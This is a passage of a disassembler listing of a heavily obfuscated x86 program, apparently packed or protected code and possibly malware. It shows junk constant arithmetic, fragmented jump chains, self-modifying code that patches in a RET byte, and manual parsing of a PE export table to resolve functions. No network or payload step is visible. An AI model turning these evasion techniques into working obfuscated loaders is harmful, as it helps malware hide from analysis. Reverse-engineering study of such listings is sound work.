					; dviuq5id:00459EE6j

; FUNCTION CHUNK AT 0043A2D9 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0044510B SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		xor	eax, 82C3FBCh
		sub	eax, 8F08DD86h
		ror	eax, 0Dh
		push	esi
		jmp	loc_43A2D9
sub_44CEFF	endp


; =============== S U B	R O U T	I N E =======================================



sub_44CF18	proc near		; DATA XREF: dviuq5id:004585BBo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0044ACFE SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00454411 SIZE 00000014 BYTES

		mov	eax, [esp+0]
		push	edx
		call	sub_44F0C2
		mov	eax, 1F1D4A60h
		push	esi
		push	0FB0C4431h
		pop	esi
		add	esi, 447AE237h
		jmp	loc_44ACFE
sub_44CF18	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459804

loc_44CF38:				; CODE XREF: sub_459804:loc_4544AAj
		sub	edi, ebx
		add	edi, 0F2BB8187h
		jmp	loc_4437B9
; END OF FUNCTION CHUNK	FOR sub_459804
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450407

loc_44CF45:				; CODE XREF: sub_450407:loc_4416F7j
		jge	loc_4566FD

loc_44CF4B:				; CODE XREF: sub_43C4B5+1AD7Cj
		jmp	nullsub_118
; END OF FUNCTION CHUNK	FOR sub_450407
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451B18

loc_44CF50:				; CODE XREF: sub_451B18-F42Dj
		jmp	loc_45018E
; END OF FUNCTION CHUNK	FOR sub_451B18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_44CF55:				; CODE XREF: sub_440898-C47j
		jmp	loc_44083B
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
		jno	loc_45745F
		sbb	ecx, 0B72E5E6h
		jmp	loc_4566FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445707

loc_44CF6B:				; CODE XREF: sub_445707:loc_44128Ej
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_4442BC
		or	eax, eax
		jnz	loc_44F68C
		jmp	loc_43CAC0
; END OF FUNCTION CHUNK	FOR sub_445707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45082A

loc_44CF81:				; CODE XREF: sub_45082A:loc_44BA71j
		pop	edi
		or	edi, 404A883Eh

loc_44CF88:				; CODE XREF: sub_4585FC:loc_44D17Dj
		sub	edi, 8377FB35h
		or	edi, 7F35108Eh
		jmp	loc_439386
; END OF FUNCTION CHUNK	FOR sub_45082A
; ---------------------------------------------------------------------------
		push	ecx
		push	0D1636B3Ah
		pop	ecx
		rol	ecx, 12h
		jb	loc_455FD2
; START	OF FUNCTION CHUNK FOR sub_447A8A

loc_44CFA9:				; CODE XREF: sub_447A8A+4FAAj
		jmp	nullsub_240
; END OF FUNCTION CHUNK	FOR sub_447A8A
; ---------------------------------------------------------------------------
		jz	loc_4494BC
		jmp	loc_455FCB
; ---------------------------------------------------------------------------

loc_44CFB9:				; CODE XREF: dviuq5id:00451A20j
		shr	ebp, 11h

; =============== S U B	R O U T	I N E =======================================



sub_44CFBC	proc near		; CODE XREF: sub_451E0A+39D6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043955E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D231 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043DE86 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0044242D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004424F6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443BB1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00444024 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00445154 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0044518B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446283 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004498F5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044990B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C17C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044E43C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044F4D1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044FD07 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004512B2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045136E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00451F33 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045588B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00458B57 SIZE 00000013 BYTES

		xchg	edi, [esp+8+var_8]
		pop	edi
		cmp	al, 0A4h
		jz	loc_4424F6
		jmp	loc_45136E
sub_44CFBC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C80D

loc_44CFCD:				; CODE XREF: sub_44C80D:loc_44FF02j
		call	sub_444466
		mov	ds:dword_44777C, eax
		call	sub_456F43
		mov	edx, 0A2CD59D9h
		call	sub_444466
		mov	ds:dword_446E04, eax
		jmp	nullsub_338
; END OF FUNCTION CHUNK	FOR sub_44C80D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_44CFF0:				; CODE XREF: sub_440898+16BA3j
		xor	eax, 3F36D8B5h
		add	eax, ebp
		add	eax, 0BB02C72Ah
		mov	eax, [eax]
		jmp	loc_43B9B5
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44395C

loc_44D005:				; CODE XREF: sub_44395C+14B9Bj
		add	edx, 2B3D5C7Fh
		mov	[edx], eax
		xchg	esi, [esp+4+var_4]
		mov	edx, esi
		jmp	loc_44DA87
; END OF FUNCTION CHUNK	FOR sub_44395C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4547E2

loc_44D017:				; CODE XREF: sub_448B0A:loc_448B14j
		jnz	loc_452F00
		jmp	sub_44D820
; END OF FUNCTION CHUNK	FOR sub_4547E2

; =============== S U B	R O U T	I N E =======================================



sub_44D022	proc near		; DATA XREF: sub_44FD8E-106CBo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043C05B SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0043D0F0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DDCF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E54E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004425E5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004434C8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447BE9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00447C2F SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00449B50 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B1D3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044DAAB SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0044ED5B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00453A1E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045537C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00457AF7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00459D57 SIZE 00000005 BYTES

		js	loc_4425E5
		sub	al, 99h
		push	6592C6B6h
		pop	edx
		rol	edx, 13h
		jmp	loc_43C05B
sub_44D022	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_44D038:				; CODE XREF: sub_44EAC4:loc_445306j
		jbe	loc_449B72
		xor	eax, 0DC5EF2D9h
		test	ebx, ecx
		jmp	loc_452C3C
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------

loc_44D04B:				; CODE XREF: dviuq5id:00441669j
		jb	loc_44A209
		push	ebp
; START	OF FUNCTION CHUNK FOR sub_44846C

loc_44D052:				; CODE XREF: sub_44846C:loc_44165Cj
		xor	esi, 25E96D44h
		xor	eax, esi
		pop	esi

loc_44D05B:				; CODE XREF: sub_44FF3E-91BCj
		ror	eax, 0Ch
		xor	eax, 4B53D6E1h
		ror	eax, 13h
		jmp	loc_456EDA
; END OF FUNCTION CHUNK	FOR sub_44846C
; ---------------------------------------------------------------------------
		dd 37868A0Fh, 32E90000h, 8BFFFF6Ah, 0EAFCE9EBh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453749

loc_44D07E:				; CODE XREF: sub_453749+9j
		push	ecx
		mov	esp, ebp
		pop	ebp
		push	0E97C7B61h
		jmp	loc_441103
; END OF FUNCTION CHUNK	FOR sub_453749
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA0E

loc_44D08C:				; CODE XREF: sub_43BA0E+6145j
					; dviuq5id:0045222Fj
		xor	edx, 0C590E213h
		add	edx, 616F3BDBh
		mov	edx, [edx]
		or	edx, edx
		jnz	loc_44D255
		jmp	loc_43D7D8
; END OF FUNCTION CHUNK	FOR sub_43BA0E
; ---------------------------------------------------------------------------

loc_44D0A7:				; CODE XREF: dviuq5id:loc_4491CCj
					; dviuq5id:004491EBj
		rol	eax, 1Dh
		xor	eax, 2A9FDE64h
		add	eax, 0BBA1199Bh
		push	esi
		pushf
		jmp	loc_455910
; ---------------------------------------------------------------------------

loc_44D0BD:				; CODE XREF: dviuq5id:0044578Bj
		shr	esi, 18h
		cmp	ecx, 0FCA6526Ch
		jmp	loc_4399D5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_166. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_44D0CC:				; CODE XREF: sub_4525D0+7465j
		jmp	loc_43B1AC
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448424

loc_44D0D1:				; CODE XREF: sub_448424-474Cj
		call	sub_453642
		mov	ds:dword_41D0FC, eax
		lea	eax, nullsub_226
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_226
; END OF FUNCTION CHUNK	FOR sub_448424
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440828

loc_44D0EA:				; CODE XREF: sub_440828j
		mov	eax, [esp+0]
		jmp	loc_44E99B
; END OF FUNCTION CHUNK	FOR sub_440828

; =============== S U B	R O U T	I N E =======================================



sub_44D0F2	proc near		; CODE XREF: sub_45861F+16j

; FUNCTION CHUNK AT 00439D12 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043BD18 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004521D0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00452CAD SIZE 00000005 BYTES

		push	ebx
		push	0EBF37405h
		pop	ebx
		add	ebx, 0F84196D0h
		xor	ebx, 0E6CED2AFh
		jmp	loc_452CAD
sub_44D0F2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_44D10A:				; CODE XREF: sub_43938B+1D9E8j
		jz	loc_44AA4A
		jmp	loc_446BB8
; END OF FUNCTION CHUNK	FOR sub_43938B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44297E

loc_44D115:				; CODE XREF: sub_44297E:loc_444ED3j
					; dviuq5id:0044F921j
		shl	ebp, 16h
		jmp	loc_4417AD
; END OF FUNCTION CHUNK	FOR sub_44297E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440CB8

loc_44D11D:				; CODE XREF: sub_440CB8:loc_43D5B9j
		and	eax, 0EA58A384h
		test	eax, 20000h
		jmp	loc_451A0D
; END OF FUNCTION CHUNK	FOR sub_440CB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443ECE

loc_44D12E:				; CODE XREF: sub_443ECE:loc_458391j
		xchg	esi, [esp-4+arg_0]
		push	esi
		pop	eax
		pop	esi
		jmp	loc_4508D3
; END OF FUNCTION CHUNK	FOR sub_443ECE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EFA5

loc_44D139:				; CODE XREF: sub_43EFA5+BA3Dj
		mov	eax, [esp+0]
		push	edx
		nop
		mov	eax, 2867838Ah
		jmp	loc_44A6B8
; END OF FUNCTION CHUNK	FOR sub_43EFA5

; =============== S U B	R O U T	I N E =======================================



sub_44D148	proc near		; DATA XREF: dviuq5id:loc_458C7Ao

; FUNCTION CHUNK AT 0043A93A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452234 SIZE 00000021 BYTES

		mov	eax, [esp+0]
		push	edx
		push	esi
		push	0AE8C8BEDh
		jmp	loc_452234
sub_44D148	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4419B6

loc_44D157:				; CODE XREF: sub_4419B6+Fj
		rol	eax, 14h
		push	ecx
		push	4D20EA9Fh
		pop	ecx
		jmp	loc_457705
; END OF FUNCTION CHUNK	FOR sub_4419B6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_496. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F9E7

loc_44D167:				; CODE XREF: sub_43F9E7+1613Ej
		jmp	loc_444DE5
; END OF FUNCTION CHUNK	FOR sub_43F9E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FCBC

loc_44D16C:				; CODE XREF: sub_44FCBC-1228Aj
		jmp	loc_44A0E0
; END OF FUNCTION CHUNK	FOR sub_44FCBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_44D171:				; CODE XREF: sub_43FDFB:loc_43C7CCj
		pop	edi
		shr	edx, 7
		or	ebp, ebx
		pushf
		jmp	loc_4481E0
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4585FC

loc_44D17D:				; CODE XREF: sub_4585FC:loc_454485j
		jl	loc_44CF88
		cdq
		jmp	loc_43DE2C
; END OF FUNCTION CHUNK	FOR sub_4585FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45A397

loc_44D189:				; CODE XREF: sub_45A397-134j
		ror	edx, 0Fh
		jmp	loc_43E171
; END OF FUNCTION CHUNK	FOR sub_45A397
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CC42

loc_44D191:				; CODE XREF: sub_43CC42+14244j
		xchg	ecx, [esp+0]
		jmp	loc_44873D
; END OF FUNCTION CHUNK	FOR sub_43CC42
; ---------------------------------------------------------------------------
		push	0B66A571h
		pop	edx
		rol	edx, 1Dh
		and	edx, 0E66F1506h
		or	edx, 0DC889528h
		jmp	loc_447DAF
; ---------------------------------------------------------------------------
		mov	ebp, edi
		popf
		jmp	sub_44C528

; =============== S U B	R O U T	I N E =======================================



sub_44D1BB	proc near		; CODE XREF: dviuq5id:0044A061p
					; dviuq5id:00455880j

arg_0		= dword	ptr  4

		xchg	edx, [esp+0]
		pop	edx
		xchg	edi, [esp-4+arg_0]
		mov	eax, [ebp-8]
		jmp	loc_4432CF
sub_44D1BB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458B23

loc_44D1CA:				; CODE XREF: sub_458B23-2CE9j
		push	ecx
		push	718899C7h
		pop	ecx
		or	ecx, 9DF2CE4Ah
		add	ecx, 0B5895FEh
		jmp	loc_45238B
; END OF FUNCTION CHUNK	FOR sub_458B23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450686

loc_44D1E2:				; CODE XREF: sub_450686-1676Ej
		jb	loc_4507AD
		mov	[ecx], edi
		jg	loc_439098
		jmp	loc_43D4F3
; END OF FUNCTION CHUNK	FOR sub_450686
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439E87

loc_44D1F5:				; CODE XREF: sub_439E87:loc_43E975j
		jnz	loc_4593B0
		jmp	loc_439A26
; END OF FUNCTION CHUNK	FOR sub_439E87
; ---------------------------------------------------------------------------

loc_44D200:				; CODE XREF: dviuq5id:004569E9j
		cdq
		jmp	loc_441F80
; ---------------------------------------------------------------------------

loc_44D206:				; CODE XREF: dviuq5id:004453D4j
		call	sub_43A201
		mov	eax, 0CE14EFFFh
		push	eax
		push	3A4ADEADh

loc_44D216:				; CODE XREF: dviuq5id:00440CA3j
		pop	eax
		jmp	loc_43957C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4433BD

loc_44D21C:				; CODE XREF: sub_4433BD:loc_43B5EBj
		or	eax, 8
		or	eax, 10h
		push	offset loc_453006
		jmp	nullsub_165
; END OF FUNCTION CHUNK	FOR sub_4433BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44297E

loc_44D22C:				; CODE XREF: sub_4535DC-15CB4j
					; sub_44297E+168FDj
		mov	ecx, ebp
		xchg	ecx, [esp-4+arg_0]
		mov	ebp, edx
		xchg	ebp, [esp-4+arg_0]
		jmp	loc_4482D9
; END OF FUNCTION CHUNK	FOR sub_44297E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443AC1

loc_44D23B:				; CODE XREF: sub_443AC1:loc_444AB5j
		rol	ebx, 2

loc_44D23E:				; CODE XREF: sub_43938B:loc_444AA1j
		add	esi, 0B93027D8h
		popf
		xchg	esi, [esp+0]
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_443AC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446DD8

loc_44D24D:				; CODE XREF: sub_446DD8-1BF1j
		pop	ebp
		pop	eax
		mov	ds:dword_456790, edx

loc_44D255:				; CODE XREF: dviuq5id:0043D6FBj
					; sub_43BA0E+1168Ej
		xchg	eax, edx
		call	sub_449EB7
		jmp	loc_454E18
; END OF FUNCTION CHUNK	FOR sub_446DD8

; =============== S U B	R O U T	I N E =======================================



sub_44D260	proc near		; CODE XREF: sub_449485:loc_458E30j

var_4		= dword	ptr -4

		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp+4+var_4]
sub_44D260	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43A1BD

loc_44D266:				; CODE XREF: sub_43A1BD+10j
		ror	eax, 3
		mov	ds:dword_44DF1C, eax
		jmp	nullsub_312
; END OF FUNCTION CHUNK	FOR sub_43A1BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445A59

loc_44D274:				; CODE XREF: sub_445A59+132ECj
		rol	ecx, 1Ch
		and	ebx, ebp
		ror	ebx, 14h

loc_44D27C:				; CODE XREF: sub_445A59:loc_455F0Cj
		push	esi
		push	17E03AABh
		pop	esi
		rol	esi, 13h
		xor	esi, 0CB29798Ah
		jmp	loc_43BC6D
; END OF FUNCTION CHUNK	FOR sub_445A59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C9A9

loc_44D291:				; CODE XREF: sub_43C9A9+1Aj
		jz	loc_442B2D
		jmp	loc_44FFD3
; END OF FUNCTION CHUNK	FOR sub_43C9A9
; ---------------------------------------------------------------------------

loc_44D29C:				; CODE XREF: dviuq5id:0044BF6Fj
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_44D29E:				; CODE XREF: dviuq5id:0044F07Fj
		jmp	loc_449E15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451D31

loc_44D2A3:				; CODE XREF: sub_451D31-1510Cj
		jmp	loc_456FAB
; END OF FUNCTION CHUNK	FOR sub_451D31

; =============== S U B	R O U T	I N E =======================================



sub_44D2A8	proc near		; CODE XREF: sub_44A4E3:loc_439B49p
					; sub_44EEAA:loc_439FE2j ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043CFBD SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043F8FC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004401A7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044DA29 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00455905 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00456235 SIZE 0000000D BYTES

		jz	sub_454228
		push	edi
		mov	edi, ebp
		jmp	loc_43CFBD
sub_44D2A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443354

loc_44D2B6:				; CODE XREF: sub_443354+6F0Ej
		call	sub_44C6ED
		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp+4+var_4]
		push	offset loc_45820E
		jmp	loc_441BD1
; END OF FUNCTION CHUNK	FOR sub_443354
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D9C6

loc_44D2CB:				; CODE XREF: sub_44D9C6:loc_457831j
		sub	eax, 0E3D6A1E5h
		or	eax, 34A3F892h
		rol	eax, 13h
		xor	eax, 9EE2FE32h
		jmp	loc_44CC74
; END OF FUNCTION CHUNK	FOR sub_44D9C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_44D2E5:				; CODE XREF: sub_43C4B5:loc_4423E7j
					; sub_443862+C976j
		or	ebp, ecx
		xchg	eax, edx
		xor	ecx, edi
		jo	loc_43E177
		jmp	loc_4430EF
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------

loc_44D2F6:				; CODE XREF: dviuq5id:004538A3j
		sub	ebx, 0B8D0D61Ah
		shr	ecx, 4
; START	OF FUNCTION CHUNK FOR sub_459385

loc_44D2FF:				; CODE XREF: sub_459385:loc_453892j
		push	offset sub_456AFA
		jmp	nullsub_362
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------
		shl	edx, 12h
		jmp	sub_447ECD
; ---------------------------------------------------------------------------
		add	edi, 9B949735h
		jmp	sub_449286
; ---------------------------------------------------------------------------

loc_44D31C:				; DATA XREF: sub_43D181:loc_4505CDo
		mov	ebx, [eax+18h]
		mov	ecx, [ebx+3Ch]
		mov	ecx, [ebx+ecx+78h]
		or	ecx, ecx
		jz	loc_44B097
		mov	ecx, [ebx+ecx+0Ch]
		jmp	loc_44B691
; ---------------------------------------------------------------------------

loc_44D337:				; DATA XREF: sub_44119E:loc_44D7E1o
		xchg	eax, [esp]
		mov	ecx, eax
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45753F

loc_44D33F:				; CODE XREF: sub_45753F:loc_44F9B0j
		push	750425DAh
		pop	ecx
		and	ecx, 0D4613526h
		cmp	ecx, 9E9DEADAh
		jmp	loc_45382C
; END OF FUNCTION CHUNK	FOR sub_45753F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_148. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450E0E

loc_44D357:				; CODE XREF: sub_450E0E+18j
		jmp	loc_451119
; END OF FUNCTION CHUNK	FOR sub_450E0E
; ---------------------------------------------------------------------------

loc_44D35C:				; CODE XREF: dviuq5id:0044E874j
		jmp	loc_43B71B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456253

loc_44D361:				; CODE XREF: sub_456253:loc_439F26j
					; dviuq5id:0044D41Fj
		jmp	loc_446600
; END OF FUNCTION CHUNK	FOR sub_456253
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439E87

loc_44D366:				; CODE XREF: sub_439E87+7C78j
		jmp	loc_44808A
; END OF FUNCTION CHUNK	FOR sub_439E87
; ---------------------------------------------------------------------------

loc_44D36B:				; CODE XREF: dviuq5id:loc_440D83j
		push	ebx
		push	0D9C79011h
		rol	ebx, 11h
		jmp	loc_44DA1F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4560AC

loc_44D379:				; CODE XREF: sub_4560AC:loc_43F7BEj
		jnz	loc_45764B
		jmp	loc_44FF91
; END OF FUNCTION CHUNK	FOR sub_4560AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448154

loc_44D384:				; CODE XREF: sub_4390B5+17j
		jz	loc_44DA12
		jmp	loc_450776
; END OF FUNCTION CHUNK	FOR sub_448154
; ---------------------------------------------------------------------------
		or	esi, 8D56CBC4h
		shr	eax, 12h
		jmp	sub_455682
; ---------------------------------------------------------------------------
		mov	eax, 320057C2h
		push	ebx
		push	0F42A654Fh
		pop	ebx
		jmp	loc_44294F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44297E

loc_44D3AE:				; CODE XREF: dviuq5id:004457EDj
					; sub_44297E:loc_459275j
		jbe	loc_44298D
		jmp	loc_44BE9B
; END OF FUNCTION CHUNK	FOR sub_44297E
; ---------------------------------------------------------------------------

loc_44D3B9:				; CODE XREF: dviuq5id:loc_448717j
		jnz	loc_43ADBC
		mov	[esi], edi
		pushf
		jmp	loc_43ADBC
; ---------------------------------------------------------------------------

loc_44D3C7:				; CODE XREF: dviuq5id:0043DCD8j
					; dviuq5id:loc_44116Cj
		push	ecx
		mov	ecx, eax
		push	offset sub_44EFC2
		jmp	loc_44AC24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B624

loc_44D3D4:				; CODE XREF: sub_44B624+10j
		cmp	eax, 5FE4A8BCh
		jmp	loc_449305
; END OF FUNCTION CHUNK	FOR sub_44B624
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44957C

loc_44D3DF:				; CODE XREF: sub_44957C+18j
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_44957C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443C86

loc_44D3E2:				; CODE XREF: sub_443C86+10j
		jmp	loc_4503BB
; END OF FUNCTION CHUNK	FOR sub_443C86

; =============== S U B	R O U T	I N E =======================================



sub_44D3E7	proc near		; CODE XREF: sub_44FFE1+3j
		add	esp, 0FFFFFFF8h
		jmp	loc_44DCAC
sub_44D3E7	endp

; ---------------------------------------------------------------------------

locret_44D3EF:				; CODE XREF: dviuq5id:loc_43913Fj
		retn
; ---------------------------------------------------------------------------

loc_44D3F0:				; CODE XREF: dviuq5id:0043E549j
		jmp	loc_447637
; ---------------------------------------------------------------------------
		cdq
		jmp	loc_439C5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446314

loc_44D3FB:				; CODE XREF: sub_446314+1425Aj
		and	ecx, 27C6995Fh
		rol	ecx, 1Ch
		sub	ecx, 4FD63185h
		add	ecx, 0DD6C41Dh
		xchg	ecx, [esp+8+var_8]
		jmp	loc_4487DD
; END OF FUNCTION CHUNK	FOR sub_446314
; ---------------------------------------------------------------------------
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jmp	loc_44D361
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4410A1

loc_44D424:				; CODE XREF: sub_4410A1+5j
		jmp	ds:off_41D160
; END OF FUNCTION CHUNK	FOR sub_4410A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A5E

loc_44D42A:				; CODE XREF: sub_439A5E+F2C1j
		jmp	loc_449062
; END OF FUNCTION CHUNK	FOR sub_439A5E

; =============== S U B	R O U T	I N E =======================================



sub_44D42F	proc near		; CODE XREF: sub_4410A1p
					; sub_44BB53:loc_44F0F1j ...

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043A1B8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446A2F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00452A8B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00454E09 SIZE 00000008 BYTES

		jno	loc_446A2F
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	edx
		push	ebx
		push	0DDF43809h
		jmp	loc_448928
sub_44D42F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44D445:				; CODE XREF: dviuq5id:00454A0Aj
		jle	loc_44D47A

loc_44D44B:				; CODE XREF: dviuq5id:loc_4549EDj
		add	edi, 930D9607h
		push	offset sub_451090
		jmp	locret_456CB3

; =============== S U B	R O U T	I N E =======================================



sub_44D45B	proc near		; CODE XREF: dviuq5id:004462FDj
					; sub_459545-6A9Ap

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043A98D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004411E4 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044173A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004477AA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447891 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044A50C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044E154 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044EEA2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00456CF1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00456D68 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00458943 SIZE 0000000B BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	esp, ebp
		xchg	ebx, [esp+0]
		mov	ebp, ebx
		jmp	loc_456D68
sub_44D45B	endp ; sp-analysis failed

